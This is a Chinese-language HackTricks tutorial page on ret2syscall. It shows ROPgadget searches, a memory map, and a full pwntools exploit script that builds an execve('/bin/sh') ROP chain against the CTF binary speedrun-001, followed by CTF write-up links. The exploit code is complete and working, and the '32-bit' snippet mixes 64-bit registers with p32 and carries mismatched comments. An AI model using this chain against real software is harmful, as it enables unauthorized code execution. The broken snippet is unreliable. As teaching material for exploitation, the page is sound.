5.9 KiB
Ret2syscall
{{#include ../../../banners/hacktricks-training.md}}
基本信息
这与 Ret2lib 类似,但在这种情况下,我们不会调用库中的函数。在这种情况下,一切都将准备好调用 syscall sys_execve,并带有一些参数以执行 /bin/sh。这种技术通常在静态编译的二进制文件上执行,因此可能会有很多 gadgets 和 syscall 指令。
为了准备 syscall 的调用,需要以下配置:
rax: 59 指定 sys_execverdi: 指向 "/bin/sh" 的指针,指定要执行的文件rsi: 0 指定不传递参数rdx: 0 指定不传递环境变量
所以,基本上需要将字符串 /bin/sh 写入某个地方,然后执行 syscall(注意控制栈所需的填充)。为此,我们需要一个 gadget 来将 /bin/sh 写入已知区域。
Tip
另一个有趣的 syscall 是
mprotect,这将允许攻击者 修改内存中页面的权限。这可以与 ret2shellcode 结合使用。
寄存器 gadgets
让我们开始寻找 如何控制这些寄存器:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
通过这些地址,可以在堆栈中写入内容并将其加载到寄存器中。
写字符串
可写内存
首先,您需要在内存中找到一个可写的位置。
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
在内存中写入字符串
然后你需要找到一种方法在这个地址写入任意内容
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
自动化 ROP 链
以下命令在存在 write-what-where gadgets 和 syscall 指令时,给定一个静态二进制文件,创建一个完整的 sys_execve ROP 链:
ROPgadget --binary vuln --ropchain
32 位
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 位
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
缺少 Gadget
如果你缺少 gadgets,例如在内存中写入/bin/sh,你可以使用SROP 技术来控制所有寄存器值(包括 RIP 和参数寄存器)从栈中:
{{#ref}} srop-sigreturn-oriented-programming.md {{#endref}}
在 vDSO 区域可能有 gadgets,该区域用于从用户模式切换到内核模式。在这些类型的挑战中,通常会提供一个内核映像以转储 vDSO 区域。
利用示例
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
其他示例与参考
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 位,无 PIE,nx,在某些内存中写入 ROP 以调用
execve并跳转到那里。 - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 位,nx,无 PIE,在某些内存中写入 ROP 以调用
execve并跳转到那里。为了在栈上写入一个执行数学运算的函数被滥用。 - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 位,无 PIE,nx,BF canary,在某些内存中写入 ROP 以调用
execve并跳转到那里。 - https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/
- 32 位,无 ASLR,使用 vDSO 查找 ROP gadgets 并调用
execve。
{{#include ../../../banners/hacktricks-training.md}}